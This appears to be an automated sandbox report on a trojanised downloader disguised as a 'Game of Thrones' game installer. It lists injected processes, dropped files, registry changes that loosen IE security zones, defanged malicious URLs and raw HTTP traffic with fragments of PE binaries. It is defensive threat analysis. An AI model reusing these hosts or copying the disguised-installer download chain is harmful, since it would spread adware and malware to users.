MD5: a50a0eabd445b336d9b6d7bc8add1474
SHA1: def12712ce07b479274c7379946db1f4130eb43e
SHA256: 656b6b20183bc4d3184cf384b7206b78a1839befaea626b5c52f9f8d97efa71d
SSDeep: 49152:vgr3b43BKyX65oKSwIMv75g3LsIzg9Epr4ye7e/TrZE0E5w:2b4Iv5oKvnv7C3W9Ar4yDTuq
Size: 3293745 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: BorlandCDLL, UPolyXv05_v6, BorlandCforWin321999
Company: no certificate found
Created at: 2015-05-14 18:22:50
Analyzed on: WindowsXP SP3 32-bit

Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):
No processes have been created.
The Trojan injects its code into the following process(es):

cpSetup.exe:1336
tmp2.tmp:1572
%original file name%.exe:1288

Mutexes

The following mutexes were created/opened:

_limiter-wrpr13-dwnldr13-limiter_
ShimCacheMutex

File activity

The process cpSetup.exe:1336 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsg6.tmp (23 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\QIPV28PO\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\FYJGUGVC\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\IAL6UBHM\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\00047183.a (28 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\0004774f.a (1690 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0LMVK9MF\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg7.tmp\34b4227a-acf6-4d98-afbf-519da068a2a0.dll (784 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsg7.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg5.tmp (0 bytes)

The process tmp2.tmp:1572 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsf4.tmp\BgWorker.dll (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsf4.tmp\NSISdl.dll (14 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsf4.tmp\nsDialogs.dll (9 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsf4.tmp\cpSetup.exe (5977 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsf4.tmp\nsArray.dll (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsf4.tmp\217711039 (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsf4.tmp\System.dll (11 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsf4.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsf3.tmp (0 bytes)

The process %original file name%.exe:1288 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\tmp1.tmp (15803 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\tmp2.tmp (13602 bytes)

Registry activity

The process cpSetup.exe:1336 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache]
"@xpsp3res.dll,-20001" = "Diagnose Connection Problems..."

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "4D 9D 2E D9 6B 53 6B D9 A5 35 BF 3F E1 9C D1 C7"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The process tmp2.tmp:1572 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "8F 48 6F 7E F6 C4 0C F9 8E 66 FA BD 75 1D 0A 3A"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

The process %original file name%.exe:1288 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "4D 93 56 34 CE 71 2A 1B F3 15 C2 9F 13 70 6E AA"

Dropped PE files

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

Company Name:
Product Name: Game of Thrones A Telltale Games Series
Product Version:
Legal Copyright:
Legal Trademarks:
Original Filename:
Internal Name:
File Version:
File Description: Game of Thrones A Telltale Games Series Setup
Comments: This installation was built with Inno Setup.
Language: English (United States)

PE Sections

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL	IP
hxxp://fc-rich.space/launch_askar.php?p=sevenzip&tid=4219214&pid=1453&n=R2FtZSBvZiBUaHJvbmVzIEEgVGVsbHRhbGUgR2FtZXMgU2VyaWVzIFtieSB4YXRhYl0=&b_typ=pe	46.21.100.248
hxxp://d1gahxamcuu9d3.cloudfront.net/stub_maker.php?program=sevenzip&tid=4219214&pid=1453&b_typ=pe&reb=1&name=Game of Thrones A Telltale Gam&t=first&truename=/InstallerSetup.exe
hxxp://dna4mm5c1mahl.cloudfront.net/launch_v5.php?p=sevenzip&pid=1453&tid=4219214&b_typ=pe&n=R2FtZSBvZiBUaHJvbmVzIEEgVGVsbHRhbGUgR2Ft&reb=1
hxxp://d24txo22v2kbr3.cloudfront.net/?affId=1006&appTitle=Game%20of%20Thrones%20A%20Telltale%20Gam&s1=1453&s2=4219214&setupName=cpSetup&appVersion=2.92&instId=11
hxxp://capital.go2cloud.org/aff_c?offer_id=4&aff_id=1006&source=11&aff_sub=1453&aff_sub2=4219214&aff_sub3=0&aff_sub4=0&aff_sub5=0&url=http://up.int-ic-2.xyz/offer.php?affId={aff_id}&trackingId=946801&instId=11&ho_trackingid={transaction_id}&cc=UA	52.17.177.26
hxxp://up.int-ic-2.xyz/offer.php?affId=1006&trackingId=946801&instId=11&ho_trackingid=102260d52aad093d3705b52c71bb63&cc=UA	54.239.168.162
hxxp://up.int-ic-2.xyz/installer.php?affId=1006&instId=11&ho_trackingid=102260d52aad093d3705b52c71bb63&trackingId=946801&cc=UA	54.239.168.162
hxxp://up.int-ic-3.xyz/installer.php?affId=1006&instId=11&ho_trackingid=102260d52aad093d3705b52c71bb63&trackingId=946801&cc=UA	54.88.21.193
hxxp://up.int-ic-2.xyz/installer.php?affId=1006&instId=11&ho_trackingid=102260d52aad093d3705b52c71bb63&trackingId=946801&cc=UA&id[]=29&id[]=34&id[]=35&id[]=36&id[]=37&id[]=38&id[]=39&id[]=40&id[]=41&id[]=42&id[]=43&id[]=44&id[]=45&id[]=46&id[]=47&id[]=48&id[]=49&id[]=50&id[]=51&id[]=52&id[]=53&id[]=54&id[]=55&id[]=56&id[]=57	54.239.168.162
hxxp://up.int-ic-3.xyzhxxp://up.int-ic-3.xyz/installer.php?affId=1006&instId=11&ho_trackingid=102260d52aad093d3705b52c71bb63&trackingId=946801&cc=UA	54.88.21.193
hxxp://get.cp-retr.xyz/?affId=1006&appTitle=Game%20of%20Thrones%20A%20Telltale%20Gam&s1=1453&s2=4219214&setupName=cpSetup&appVersion=2.92&instId=11	54.239.168.5
hxxp://capital.go2cloud.orghxxp://capital.go2cloud.org/aff_c?offer_id=4&aff_id=1006&source=11&aff_sub=1453&aff_sub2=4219214&aff_sub3=0&aff_sub4=0&aff_sub5=0&url=http://up.int-ic-2.xyz/offer.php?affId={aff_id}&trackingId=946801&instId=11&ho_trackingid={transaction_id}&cc=UA	52.17.177.26
hxxp://dl.fripp54.xyz/stub_maker.php?program=sevenzip&tid=4219214&pid=1453&b_typ=pe&reb=1&name=Game of Thrones A Telltale Gam&t=first&truename=/InstallerSetup.exe	54.239.168.47
hxxp://up.int-ic-2.xyzhxxp://up.int-ic-2.xyz/installer.php?affId=1006&instId=11&ho_trackingid=102260d52aad093d3705b52c71bb63&trackingId=946801&cc=UA	54.239.168.162
hxxp://up.int-ic-4.xyz/launch_v5.php?p=sevenzip&pid=1453&tid=4219214&b_typ=pe&n=R2FtZSBvZiBUaHJvbmVzIEEgVGVsbHRhbGUgR2Ft&reb=1	54.239.168.104
hxxp://up.int-ic-2.xyzhxxp://up.int-ic-2.xyz/installer.php?affId=1006&instId=11&ho_trackingid=102260d52aad093d3705b52c71bb63&trackingId=946801&cc=UA&id[]=29&id[]=34&id[]=35&id[]=36&id[]=37&id[]=38&id[]=39&id[]=40&id[]=41&id[]=42&id[]=43&id[]=44&id[]=45&id[]=46&id[]=47&id[]=48&id[]=49&id[]=50&id[]=51&id[]=52&id[]=53&id[]=54&id[]=55&id[]=56&id[]=57	54.239.168.162
hxxp://up.int-ic-2.xyzhxxp://up.int-ic-2.xyz/offer.php?affId=1006&trackingId=946801&instId=11&ho_trackingid=102260d52aad093d3705b52c71bb63&cc=UA	54.239.168.162

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET POLICY Unsupported/Fake FireFox Version 2.

Traffic

POST hXXp://up.int-ic-2.xyz/installer.php?affId=1006&instId=11&ho_trackingid=102260d52aad093d3705b52c71bb63&trackingId=946801&cc=UA HTTP/1.1

Host: up.int-ic-2.xyz

Connection: close

Accept: */*

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3

Content-Type: application/x-www-form-urlencoded

id[]=29&id[]=34&id[]=35&id[]=36&id[]=37&id[]=38&id[]=39&id[]=40&id[]=41&id[]=42&id[]=43&id[]=44&id[]=45&id[]=46&id[]=47&id[]=48&id[]=49&id[]=50&id[]=51&id[]=52&id[]=53&id[]=54&id[]=55&id[]=56&id[]=57
HTTP/1.1 403 Forbidden

Server: CloudFront

Date: Sun, 16 Aug 2015 22:35:35 GMT

Content-Type: text/html

Content-Length: 689

Connection: close

X-Cache: Error from cloudfront

Via: 1.1 a034346227db119f7e0813186ca2d2c2.cloudfront.net (CloudFront)

X-Amz-Cf-Id: vV_vzXEPTlHUK4phGOSDhl2lqpO1D--1tU0HflQoG3L6l5JLNNT0dQ==
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "htt
p://VVV.w3.org/TR/html4/loose.dtd">.<HTML><HEAD><MET
A HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
;.<TITLE>ERROR: The request could not be satisfied</TITLE>
.</HEAD><BODY>.<H1>ERROR</H1>.<H2>The re
quest could not be satisfied.</H2>.<HR noshade size="1px">
.This distribution is not configured to allow the HTTP request method 
that was used for this request. The distribution supports only cachabl
e requests..<BR clear="all">.<HR noshade size="1px">.<P
RE>.Generated by cloudfront (CloudFront).Request ID: vV_vzXEPTlHUK4
phGOSDhl2lqpO1D--1tU0HflQoG3L6l5JLNNT0dQ==.</PRE>.<ADDRESS>
;.</ADDRESS>.</BODY></HTML>..

GET /?affId=1006&appTitle=Game%20of%20Thrones%20A%20Telltale%20Gam&s1=1453&s2=4219214&setupName=cpSetup&appVersion=2.92&instId=11 HTTP/1.0

Host: get.cp-retr.xyz

User-Agent: NSISDL/1.2 (Mozilla)

Accept: */*

HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 52214

Connection: close

Server: Microsoft-IIS/8.5

X-Powered-By: PHP/5.3.28

Content-Transfer-Encoding: Binary

Content-Disposition: attachment; filename="cpSetup.exe"

Date: Sun, 16 Aug 2015 22:35:32 GMT

X-Cache: Miss from cloudfront

Via: 1.1 3abf650c7bf73e47515000bddf3f05c0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 0iT1FQg4MQI7SrnX7yavLyIj3YRcpa3HlI9lJpdN2ztuoEGlgDkjVw==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
..........,...........................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc....,...........v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>

GET /stub_maker.php?program=sevenzip&tid=4219214&pid=1453&b_typ=pe&reb=1&name=Game of Thrones A Telltale Gam&t=first&truename=/InstallerSetup.exe HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0

Host: dl.fripp54.xyz

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

HTTP/1.1 200 OK

Content-Type: application/force-download

Content-Length: 86007

Connection: keep-alive

Server: Microsoft-IIS/7.5

X-Powered-By: PHP/5.3.28

Content-Disposition: attachment; filename="55d110120333b.exe"

X-Powered-By: ASP.NET

Date: Sun, 16 Aug 2015 22:34:58 GMT

X-Cache: Miss from cloudfront

Via: 1.1 a034346227db119f7e0813186ca2d2c2.cloudfront.net (CloudFront)

X-Amz-Cf-Id: -preQCd1g0oS2GhOlofGqaAD-gLWSs4F5x29d-fsIDTUXixHYFFN4w==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......<...x...x
...x.......z...x...........i...,...t.......y...Richx..................
.PE..L......K.................\....9......0.......p....@..............
.............;..............................................s.......p;
..@...................................................................
........p...............................text...,Z.......\.............
..... ..`.rdata.......p.......`..............@[email protected]..........
[email protected][email protected]:..........................rsrc....@.
..p;..B...v..............@..@.........................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
[email protected][email protected]...
Pr@..}[email protected]... M.......M....3.....FQ.....NU..M..
........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u...Tr@
..u....E..9}[email protected].}[email protected]
[email protected]@.W...E..E.h [email protected]...\r@._
^3.[.....L$...&z...Si.....VW.T.....tO.q.3.;5.&z.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.&z.r._^[...U..QQ.U.SV..i.
<<< skipped >>>

GET hXXp://up.int-ic-2.xyz/installer.php?affId=1006&instId=11&ho_trackingid=102260d52aad093d3705b52c71bb63&trackingId=946801&cc=UA&id[]=29&id[]=34&id[]=35&id[]=36&id[]=37&id[]=38&id[]=39&id[]=40&id[]=41&id[]=42&id[]=43&id[]=44&id[]=45&id[]=46&id[]=47&id[]=48&id[]=49&id[]=50&id[]=51&id[]=52&id[]=53&id[]=54&id[]=55&id[]=56&id[]=57 HTTP/1.1

Host: up.int-ic-2.xyz

Connection: close

Accept: */*

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3

HTTP/1.1 200 OK

Content-Type: text/html

Content-Length: 409128

Connection: close

Server: Microsoft-IIS/8.5

X-Powered-By: PHP/5.3.28

Date: Sun, 16 Aug 2015 22:35:35 GMT

X-Cache: Miss from cloudfront

Via: 1.1 a034346227db119f7e0813186ca2d2c2.cloudfront.net (CloudFront)

X-Amz-Cf-Id: HhVqF1PoOv6pdw0bH_xPlJtu0vuV0RlWF3C8Ucfx8SHfCHEhCw4Q9A==
.$...RB..[...`.M..&..Qz..Tuq!<.*...J..k.um..o.-..m.........)...~.'.
(..{. ...:;[email protected] .E... ]........^. . ...............4..T.)..G
[email protected]{[email protected].!.IkA.jg.R.BQ....f.^...8.c8...`z.g..t....%.
,...m....wF.X#.{.].3..b..'<..*0.....$'..mU.<.......m.1M......&0.
jJ.q..1..3....A~..*...........y\.q%.......|".?.l-.X...^......7A1u....Z
.Z{$qA.s.G..J-..........;[email protected]..^.w@.....
...r?..........u.....1..n1s.."...6.FK..5h$K...$.*0.`..8.T...*7..M...X.
.c..k...i.E......q-......{...../f...)......!.u.~..............k...f5O.
....!..E%[email protected].:3!xQu....T?....\..../4...E|..
.....Y.R........b....u'......|.r.[.=..$...z.r.....L."...|&...^w..D....
....<...e..dz..J.q......e....I'..(I5.X..k....K......d......#....$.z
jK..Yj."....`..Rr........-w...kV.rV...5.IMG.,9...BR.........~...I.....
.....H..c.....!?.-....&.E-.!..]`........V....0...*b4..@>Y....J8..].
.....OEr...I...W.S..O?.T.D.<*P....F..... ....Nz.&|..)....>.E....
....`...{-.}.f.JAb...m..V....(Ah.7.L..!,..{:.76.74.(........G....J.^Qm
-........G.....]..Q....p.].xDB...*....kZ....,.&.).D..p...}...U..N~...p
.<i. .F.......r.F>...y. ...|...U..3u.g.oX.3......Y..2]#B..0...:&
gt;.......9X1....=....w......bX4.8...........a."....B.....G...B..z.^..
U~IiP...Ai6...e...^....y.fyE.a.;...AD.U/............`.......4.o3...L.&
k..C. ..x...t>$....h.E.'......F5.g,........R...}....w.V..S.S.2x.?.s
[email protected]>[email protected]|..>I..k.p.C%.......EV..i.....
...9}.......5).Y.w...Q.......t5.Ub{..}........=..1J.8N9F.l.P^.Qm.9
<<< skipped >>>

GET hXXp://capital.go2cloud.org/aff_c?offer_id=4&aff_id=1006&source=11&aff_sub=1453&aff_sub2=4219214&aff_sub3=0&aff_sub4=0&aff_sub5=0&url=http://up.int-ic-2.xyz/offer.php?affId={aff_id}&trackingId=946801&instId=11&ho_trackingid={transaction_id}&cc=UA HTTP/1.1

Host: capital.go2cloud.org

Connection: close

Accept: */*

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3

HTTP/1.1 302 Found

Cache-Control: no-cache, no-store, must-revalidate

Content-Type: text/html; charset=iso-8859-1

Date: Sun, 16 Aug 2015 22:35:33 GMT

Expires: Sat, 26 Jul 1997 05:00:00 GMT

Location: hXXp://up.int-ic-2.xyz/offer.php?affId=1006&trackingId=946801&instId=11&ho_trackingid=102260d52aad093d3705b52c71bb63&cc=UA

P3P: CP="NOI CUR OUR NOR INT"

Pragma: no-cache

Server: nginx/1.7.9

Set-Cookie: enc_aff_session_4=ENC02544-102260d52aad093d3705b52c71bb63-1006-4-0-0-0-0-UA-2-3131-31343533-34323139323134-30-30-30-194.242.96.218-20150816183533-_-2E3C67183E15163661362053421E5E1270591A705557113157501C026D747C6B4849655A237B7A4E55; expires=Tue, 15 Sep 2015 22:35:33 GMT; path=/;

Set-Cookie: ho_mob=eyJtb2JpbGVfZGV2aWNlX29zIjoiRGVza3RvcCIsIm1vYmlsZV9kZXZpY2VfbW9kZWwiOiJGaXJlZm94IiwibW9iaWxlX2RldmljZV9icmFuZCI6Ik1vemlsbGEiLCJtb2JpbGVfYnJvd3NlciI6IkZpcmVmb3ggRGVza3RvcCIsIm1vYmlsZV9icm93c2VyX3ZlcnNpb24iOiIyLjAiLCJtb2JpbGVfY2FycmllciI6Ij8iLCJ1c2VyX2FnZW50IjoiTW96aWxsYS81LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3MgTlQgNS4xOyBGcjsgUnY6MS44LjEuMykgR2Vja28vMjAwNzAzMDkgRmlyZWZveC8yLjAuMC4zIiwiY29ubmVjdGlvbl9zcGVlZCI6ImJyb2FkYmFuZCJ9; expires=Wed, 11 Jul 2018 09:15:33 GMT; path=/;

tracking_id: 102260d52aad093d3705b52c71bb63

X-Robots-Tag: noindex, nofollow

Content-Length: 322

Connection: Close
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>302 Found</title>.</head><body
>.<h1>Found</h1>.<p>The document has moved <a 
href="hXXp://up.int-ic-2.xyz/offer.php?affId=1006&trackingId=94680
1&instId=11&ho_trackingid=102260d52aad093d3705b52c71bb63&c
c=UA">here</a>.</p>.</body></html>...
<<< skipped >>>

GET hXXp://up.int-ic-2.xyz/offer.php?affId=1006&trackingId=946801&instId=11&ho_trackingid=102260d52aad093d3705b52c71bb63&cc=UA HTTP/1.1

Host: up.int-ic-2.xyz

Connection: close

Accept: */*

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3

HTTP/1.1 200 OK

Content-Type: text/html

Content-Length: 28712

Connection: close

Server: Microsoft-IIS/8.5

X-Powered-By: PHP/5.3.28

Date: Sun, 16 Aug 2015 22:35:34 GMT

X-Cache: Miss from cloudfront

Via: 1.1 affe26bf02a36a4a45ea1eb3ce2b4a62.cloudfront.net (CloudFront)

X-Amz-Cf-Id: IxVRNRdWswImN0Nu4jYxQFIz85VCLsLR0C0DAbwxdGJRf2jxoVliNQ==
.....g.Q... C/ _..6..K..e....M.P..^R..m......*.er....2i,[email protected].%...
.Sp=._.b.@......&n.M... ..Ag1e..y_....6.<|{.WU}.\.......0s....4..1=
.....AP.P..C.....D'R.....'....LY.2...N....*........!.d.i.a=.Y......U'Q
K..d.9.."..nu.?....5.-...?.....C...S:...._...?.[........jL)......G;...
\*.....$.C.P.n...b....s..>.. .J...|.2Q..6.....h...`xR.N.u>.f.t..
..I......n.t.. ....bXt.....e.....t..*....I.n...b..F.txD-=.....~...6`..
....^.T.%{...r.......2q.1R.) 8}'..B...[j.....-....jS...,.Jh......'.Q..
L{[email protected]}:..E .B3....5...T.S.2.....o...X..O.[.~..l../.S
Q.5......J .........y..=..D&..g.?.\...q~...p.^..=&.........,"..$...'..
R.2^nP*....f...D....(.r.:..#.......^~Go...m.f...9.fgE.A...1b.P9.AgV..c
.v.......Jt.....b.}.....#..:..xl...6.7..!.akm?.ON.>...K9'/....'..j.
.Uz1...g..sA@9.(.2a.?....U....y..X...gnq.o...l=.)..FJ.h..H.9.,.0`G.b.[
P=...FxXcE.vd2.....G....!...t......L^..........e.....6B..|.|.f.]....3c
.../5......A..#fV".........z.0?.....\u...........3...5...zE...7he..i..
..........4.5......h...N"o..-om..k.....?..m.._.h0.f...8.r{...#P....O.0
......[...%J.TvO.......&E....w"....{k.hG.}.....[.v.Sb..Av......B..X.dz
........|...O6....|Hr...$.....vc............t.i..,.p:.^..S.`y..dRu1.Q!
..E...D.u../3..:].d%.....b...... .sgj.9..z.8......o........u.....T..4E
...Fn...=.,.n8j...#JNI...K..&^|..q8.F...@....>y.P...A.k~..|gXm.....
;..N...\. ..|...5..4....D..) b4~.y.....L,....tC.c.h......k...>...`S
.2q..9 !i."...cWE}... ....Wy....K........X5...\.,g.b.8e.D..."..0.8...Q
.S..;.f.....).qa.*.u.Z.....q.>....-.^a]....bQ..|.v.wO....eKJHex
<<< skipped >>>

GET /launch_askar.php?p=sevenzip&tid=4219214&pid=1453&n=R2FtZSBvZiBUaHJvbmVzIEEgVGVsbHRhbGUgR2FtZXMgU2VyaWVzIFtieSB4YXRhYl0=&b_typ=pe HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0

Host: fc-rich.space

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

HTTP/1.1 200 OK

Date: Sun, 16 Aug 2015 22:35:24 GMT

Server: Apache/2.2.15 (CentOS)

X-Powered-By: PHP/5.3.3

Content-Length: 178

Connection: close

Content-Type: text/html; charset=UTF-8
first:hXXp://dl.fripp54.xyz/stub_maker.php?program=sevenzip&tid=421921
4&pid=1453&b_typ=pe&reb=1&name=Game of Thrones A Telltale Ga
m&t=first&truename=/InstallerSetup.exe..

GET /launch_v5.php?p=sevenzip&pid=1453&tid=4219214&b_typ=pe&n=R2FtZSBvZiBUaHJvbmVzIEEgVGVsbHRhbGUgR2Ft&reb=1 HTTP/1.0

Host: up.int-ic-4.xyz

User-Agent: NSISDL/1.2 (Mozilla)

Accept: */*

HTTP/1.1 200 OK

Content-Type: text/html; charset=UTF-8

Content-Length: 2344

Connection: close

Date: Sun, 16 Aug 2015 22:35:27 GMT

Server: Apache/2.2.15 (CentOS)

X-Powered-By: PHP/5.3.3

X-Cache: Miss from cloudfront

Via: 1.1 8cd0e1b054d4e5083057646da4909e74.cloudfront.net (CloudFront)

X-Amz-Cf-Id: IXCilTPVgtwPDacfNFXCWADUmPz6161WzluG3OQ3fEfozyPCtsYSyA==
files=4.t1=dl.u1=hXXp://get.cp-retr.xyz/?affId=1006&appTitle=Game%20
of%20Thrones%20A%20Telltale%20Gam&s1=1453&s2=4219214&setupName
=cpSetup&appVersion=2.92&instId=11.n1=cpSetup.exe.b1=cp.c1=sevenzip-1.
s1=0.m1=0.d1=0.t2=dl.u2=hXXp://b.byteguardoptic.com/de/?q=YWZmaWxpYXRl
X2lkPTE0NTMtNDIxOTIxNCZmaWxlc2l6ZT0yLjRNYiZwdWJsaXNoZXJJZD0yNDQzNyZwcm
9kdWN0X25hbWU9R2FtZSUyMG9mJTIwVGhyb25lcyUyMEElMjBUZWxsdGFsZSUyMEdhbSZw
cm9kdWN0X3RpdGxlPUdhbWUlMjBvZiUyMFRocm9uZXMlMjBBJTIwVGVsbHRhbGUlMjBHYW
0mcHJvZHVjdF9kb3dubG9hZF91cmw9aHR0cCUzYSUyZiUyZmQzcGNjdXAxOXhkYTJ0LmNs
b3VkZnJvbnQubmV0JTJmc2V2ZW56aXAtc2V0dXAtcnguZXhlJnByb2R1Y3RfZmlsZV9uYW
1lPXNldmVuc2V0dXAuZXhlJmluc3RhbGxlcl9maWxlX25hbWU9c2V0dXA=.n2=sevens
etup.exe.b2=rx.c2=sevenzip-1.s2=0.m2=0.d2=0.t3=dl.u3=hXXp://get.file13
6desktop.info/DownloadManager/Get?p=638&d=544&l=461&n=1&productname=se
venzip&d1=4219214&d2=1453&dynamicname=Game%20of%20Thrones%20A%
